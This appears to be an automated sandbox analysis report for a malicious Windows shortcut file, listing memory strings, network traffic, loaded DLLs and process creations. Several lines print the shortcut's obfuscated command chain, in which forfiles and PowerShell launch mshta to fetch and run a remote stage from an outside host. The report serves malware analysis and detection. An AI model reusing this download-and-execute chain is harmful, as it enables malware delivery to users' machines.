Source: mshta.exe, 00000004.00000003.2283680885.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3291335831.0000013470665000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E17C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/js/zxcvbn-async.min.js?ver=1.0
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347036E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E179000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-includes/wlwmanifest.xml
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/wp-json/
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/xmlrpc.php
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148626688.000001347036E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148872004.0000012C6E179000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.ua/xmlrpc.php?rsd
Source: mshta.exe, 00000004.00000002.3291040038.0000013470535000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gurt.duna.uaNatK($&
Source: mshta.exe, 00000004.00000003.2284077805.0000013470415000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://gurt.dunjquery/jquery.min.js?ver=3.6.1ugins/woo-discount-rules/v2/Assetsss/customize-tp
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E14F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: qmgr.db.7.dr String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://schema.org
Source: mshta.exe, 00000004.00000002.3291302874.00000134705F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-PTB9RGG
Source: mshta.exe, 00000004.00000002.3291335831.000001347062F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2283680885.000001347062F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.morkva.co.ua?utm_source=client-site&utm_medium=client-footer-link
Source: front[1].css.4.dr String found in binary or memory: https://www.svgrepo.com/vectors/search/4
Source: mshta.exe, 00000004.00000002.3290590957.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2148398104.0000013470411000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.3290475443.000001347033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2284096124.0000013470411000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://yoast.com/wordpress/plugins/seo/
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown HTTPS traffic detected: 185.68.16.189:443 -> 192.168.2.5:49704 version: TLS 1.2

System Summary

barindex
Source: sbOq2d6k2t.lnk LNK file: /p C:\ /m Windows /c "powershell . \*i*\*2\msh*e https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: classification engine Classification label: mal68.winLNK@7/39@1/2
Source: C:\Windows\System32\mshta.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_relhfqw2.1yu.ps1 Jump to behavior
Source: C:\Windows\System32\conhost.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\forfiles.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: sbOq2d6k2t.lnk ReversingLabs: Detection: 18%
Source: unknown Process created: C:\Windows\System32\forfiles.exe "C:\Windows\System32\forfiles.exe" /p C:\ /m Windows /c "powershell . \*i*\*2\msh*e https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5
Source: C:\Windows\System32\forfiles.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\forfiles.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe . \*i*\*2\msh*e https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\forfiles.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe . \*i*\*2\msh*e https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5 Jump to behavior
Source: C:\Windows\System32\forfiles.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mshtml.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msiso.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msimtf.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: jscript9.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: sbOq2d6k2t.lnk LNK file: ..\..\..\Windows\System32\forfiles.exe
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior

Persistence and Installation Behavior

barindex
Source: LNK file Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file Process created: C:\Windows\System32\mshta.exe
Source: LNK file Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Jump to behavior
Source: LNK file Process created: C:\Windows\System32\mshta.exe Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
